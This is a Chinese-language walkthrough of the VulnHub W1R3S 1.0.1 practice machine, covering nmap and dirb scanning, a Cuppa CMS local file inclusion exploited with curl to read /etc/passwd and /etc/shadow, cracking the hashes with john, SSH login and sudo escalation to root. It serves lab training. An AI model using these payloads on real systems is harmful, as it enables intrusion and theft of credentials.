Vulhub W1R3S: 1.0.1靶机详解

项目地址

plain 复制代码
https://download.vulnhub.com/w1r3s/w1r3s.v1.0.1.zip

实验过程

开启靶机虚拟机

使用nmap进行主机发现,获取靶机IP地址

plain 复制代码
nmap 192.168.47.1-254

根据对比可知W1R3S: 1.0.1的一个ip地址为192.168.47.172

扫描W1R3S: 1.0.1的操作系统,端口及对应服务

plain 复制代码
nmap -A -p- 192.168.47.172

发现该靶机开放了21,22,80,3306端口

目录扫描

plain 复制代码
dirb http://192.168.47.172

获取shell

访问网站

拼接访问目录扫描出的目录/administrator

这是一个数据库的安装创建,但不知道密码和数据库名

观察网页标题为Cuppa CMS

搜索一下它的历史漏洞

plain 复制代码
searchsploit cuppa
plain 复制代码
searchsploit -m php/webapps/25971.txt

文件中描述说,/alerts/alertConfigField.php文件urlConfig 参数存在 LFI 漏洞,可以利用特殊的 url ,查看本地文件

在网页上面进行尝试访问,发现没有回显结果

用curl 尝试看可不可以下载下来

plain 复制代码
curl -s --data-urlencode urlConfig=../../../../../../../../../etc/passwd http://192.168.47.172/administrator/alerts/alertConfigField.php

在文件中发现了 w1r3s 用户,用同样的方法获得存密码的shadow文件试试,发现了 rootwww-dataw1r3s用户的密码

plain 复制代码
curl -s --data-urlencode urlConfig=../../../../../../../../../etc/shadow http://192.168.47.172/administrator/alerts/alertConfigField.php

将密码存到一个文件中进行爆破

plain 复制代码
vim password.txt
cat password.txt
plain 复制代码
john password.txt

使用ssh进行远程连接,发现w1r3s用户连接成功

plain 复制代码
ssh w1r3s@192.168.47.172

提权

查看可执行的命令

plain 复制代码
sudo -l

发现是ALL

直接sudo su提权

提权成功

相关推荐
梦想成为光头强!7 分钟前
手机在初次联网的底层流程-关于EPC信令附着
网络·5g
青衫码上行1 小时前
【从0开始学习Java | 第21篇】网络编程综合练习
java·网络·学习
Chicheng_MA2 小时前
IPQ5322 Wi-Fi 7 SoC 路由器方案介绍
网络·路由器·ipq
EasyDSS2 小时前
超越“接收端”:解析视频推拉流EasyDSS在RTMP推流生态中的核心价值与中流砥柱作用
网络·音视频
小糖学代码3 小时前
网络:2.Socket编程UDP
网络·网络协议·udp
Empty_7773 小时前
Python编程之常用模块
开发语言·网络·python
m0_611779964 小时前
MQTT和WebSocket的差别
网络·websocket·网络协议
Whoami!4 小时前
5-4〔OSCP ◈ 研记〕❘ SQL注入攻击▸基于 UNION 的SQLi
网络安全·信息安全·sql注入·oscp
AORO20254 小时前
防爆手机与普通手机有什么区别?防爆手机哪个牌子好?
运维·服务器·网络·5g·智能手机·信息与通信
望获linux4 小时前
【实时Linux实战系列】使用 u-trace 或 a-trace 进行用户态应用剖析
java·linux·前端·网络·数据库·elasticsearch·操作系统